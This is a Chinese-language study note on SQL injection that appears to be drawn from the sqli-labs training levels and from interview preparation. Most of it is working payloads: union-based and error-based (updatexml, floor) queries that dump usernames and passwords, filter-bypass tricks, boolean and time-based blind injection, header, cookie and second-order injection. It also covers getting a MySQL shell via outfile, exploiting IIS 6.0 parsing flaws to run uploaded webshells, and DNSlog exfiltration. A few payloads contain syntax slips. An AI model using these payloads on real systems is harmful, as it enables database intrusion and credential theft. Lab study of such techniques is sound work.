一个端口对应一个服务
联合查询注入
所有的程序中,单双引号必须成对出现
需要从这个引号里面逃出来 在后面查询内容
?id=1'
要查库名,表名,列名。但是联合查询要知道有多少列,所以通过order by 去查询
order by # 通过二分法去试有多少列
知道列之后就可以用 union select 去查
union select 1,2,3--+
因为联合查询是前面条件为假 后面的条件才能生效。所以前面传id=-1 后面才能生效
?id=-1 union select 1,2,3
把2,3 换成数据库名
?id=-1 union select 1,user(),3--+ ?id=-1 union select 1,database(),3--+
现在要查表名,因为知道存在information_schema这个库中
union select 1,table_name,3 from information_schema.tables where table_schema='security' --+ #但是这样查的是一个表名。只能显示一行,我们需要用group_concat()参数把表名整合成一行 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
联合查询一定要保证列相同 ,知道表,但是不知道列 所以要查列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
现在知道表,列了之后就可以查询了.就拿到管理员的密码了
union select 1,group_concat(username,0x3a,password),3 from users --+
写了正则过滤了information
这样写有漏洞可以双写information绕过
union select 1,table_name,3 from inforinformationmation schema.tables where table_schema='security'--+
但是用正则写则双写无法绕过
只有把information 替换了 sys库里面有x$schema_table_statistics 但是这里面也只有库名和表名,没有列名。所以只能进行无列名注入
利用join-using注入
通过系统关键字join可建立两表之间的内连接,通过对想要查询列名所在的表与其自身
select * from (select * from users as a join users b) as c --+
报错列名就出来了,现在用using(id),排出id关联,则爆出username
select * from (select from users as a join users b using(id)) c --+
所以现在可以查询了
如果过滤了逗号
简单注入可以使用join方法绕过
union select 1,2,3
join语句:
union select * from (select 1)a join (select 2)b join (select 3)
如果是盲注的substr(),mid(),limit
substr和mid()可以使用from for的方法解决substr(str from pos for len) //在str中从第pos位截取len长的字符mid(str from pos for len)//在str中从第pos位截取len长的字符limit可以用offset的方法绕过limit 1 offset 1使用substring函数也可以绕过 substring(str from pos) //返回字符串str的第pos个字符,索引从1开始
报错注入
前端不会打印出信息,但是可以通过MySQL报错信息把你想要的信息带入出来
常用updatexml和extractvalue两个函数
updatexml
updatexml(1,1,1)一共可以接收三个参数,报错位置在第二个参数
extractvalue
extractvalue(1,1)一共可以接收两个参数,报错位置在第二个参数·
用and连接
?id=1' and updatexml(1,user(),1)--+
用concat()连接函数
?id=1' and updatexml(1,concat('~',(select user()),'~'),1)--+
?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+
现在就和联合查询一样可以查表名列名
?id=1' and updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security','~'),1)--+
查列
?id=1' and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security and table_name='users','~'),1)--+
查密码
?id=1' and updatexml(1,concat('~',(select group_concat(username,0x3a,password)from users),'~'),1)--+
因为xml默认32字节 所以查询出来是这样
用limit
?id=1' and updatexml(1,concat('~',(select group_concat(username,0x3a,password)from users limit 0,1),'~'),1)--+
用substring(内容,开始,结束)一段一段截取
?id=1' and updatexml(1,concat('~',(select substring(group_concat(username,0x3a,password),32,64)from users),'~'),1)--+
面试:如果报错注入输出不完整,怎么办?
①用limit一个一个输出
②用substring()函数截取
MySQL怎么得到一个shell?(outfile)
3个条件
root权限 secure_file_priv的参数需要为空,不是null 网站路径
IS6.0解析漏洞(很久的漏洞,但可能会问)
1、有新建文件夹的权限,普通用户,可以把文件夹建成xxx.asp 都可以以aip权限执行,上传图片,写一句话木马插入图片中,一访问就执行了
2、后缀解析漏洞,创建1.asp;1.jpg 如果是IS6.0就会把;1.jpg截断,然后执行1.asp
布尔盲注
页面显示真和假的就是布尔盲注
只用通过页面反馈来猜
?id=1' and ascii(substr(database(),1,1))>100--+ # 意思是把database()首字母截取出来,转换成ascii码 和100比较 这样就可以知道第一个字母是啥
时间盲注(页面没有回显)
根据if()、sleep()网页沉睡时间来判断是否猜对
IF(condition, value_if_true, value_if_false)
?id=1' and if(ascii(substr(database(),1,1)) > 100, sleep(3), 0)--+
布尔盲注和时间盲注的区别
布尔盲注页面会显示两种状态,一种为真,一种为假,当它为真时会显示一种状态,当它为假时,会显示另一种状态。那么我可以利用python脚本去判断是否为真的元素,若有,则继续输出,若无,则做另外的判断
但时间盲注页面不会有显示,所以只能用mysql中的if函数让它沉睡,如果为真,沉睡1秒或3秒,看页面停顿是否1秒或3秒,如果有停顿则为真 ,如无则为假。我靠这个payload去注入
DNSlog注入
dnslog注入原理通过子查询,将内容拼接到域名内,查询相应的dns解析记录,来获取我们想要的数据
利用场景(secure_file_prive=" ",root,my.ini) 条件苛刻
在sql注入为布尔盲注、时间盲注时,如果遇到大量的数据,注入的效率将十分低下且耗时,用sqmap还容易被waf拦截,IP被ban,这种情况就可用利用内置文件读取函数 load_file()来完成 DNSlog注入
post型注入form表单
post 传参不能用--+ 用#
先用order by 查列
如果报错不能回显,则可以用图的变化来判断真假
魔术开关一旦开启,会自动转义单双引号。魔术开关在5.2以前自动开启,5.3以前是默认关闭
密码重置 17关
当输入的用户名是数据库里面的用户名,则可以重置密码
现在就是要拿到用户名,试着输入一下
admin1 and updatexml(1,concat(0x7e,(select user),0x7e),1)#
。想接到用户名
但是函数过滤只能接到15个字节
所以现在uname 利用不了。所以只能利用password。所以通过password然后用updatexml注入出库名,但是因为数据库里面是update 语句,是不能用updatexml注入的,所以只能用floor*函数*
floor函数
floor 函数报错细节,首先会用到四个函数rand,group by ,count,floor。因为分组时,mysql会自动创建一个虚拟表用于存信息,使用group by时,floor进行第一次计算,为0,然后表中没有值,会进行第二次计算,然后加表。再之后的加表分组过程中,如果floor第一次计算的值又是零,表中此时没有零,然后又会在计算一次,为1,此时表中已经有1了,所以会报错。
注意:只能用or 不能用and 如果用and 返回的就是假,则为0,所以数据库密码就会被修改成为0
而用or 一真一假则为真,则可以报错
并且update后面不能用and,这里是因为and 把前后当成一个整体了,判断之后返回值。
admin1' aaa' and (select 1 from (select count(8),concat(database(),floor(rand(0) * 2))as x from information_schema.tables group by x) as a)#
并且update后面不能用and,这里是因为and 把前后当成一个整体了,判断之后返回值。
admin1' aaa' or (select 1 from (select count(*),concat(database(),floor(rand(0) * 2))as x from information_schema.tables group by x) as a)#
用or 会报错,update语句没有执行
sql头部注入
18关 文件头注入
文件头注入
根据源码来看 用不了 uname 和passwd 根据分析就需要用到burpsuite 改http里面的head头。用burpsuite 抓就得用本地IP
改了user-agent 会出现报错
所以这里是一个注入点
改了一下用updatexml报错注入是可行的
20关从cookie 里面注入
21关有一个base64编码 然后闭合方式不同
23关
注释符被过滤了 不能注释 那就闭合
order by 2 and '1'='1'
然后就可以报错注入了
二次注入
二次注入可以理解为先将恶意数据插入到数据库,之后服务器从数据库取出恶意数据,未经过滤就直接拼接SQL语句进行查询而导致的漏洞
第一次注册用户存的时候是没有漏洞的。第二次修改用户密码从数据库拿信息的时候是存在漏洞的。那么如果知道用户名,就可以修改用户名的密码了。并且转义符也没有入库
那我不知道管理员的用户名时,我也要去利用这个,报错注入拿到管理员用户名。然后再进行改密码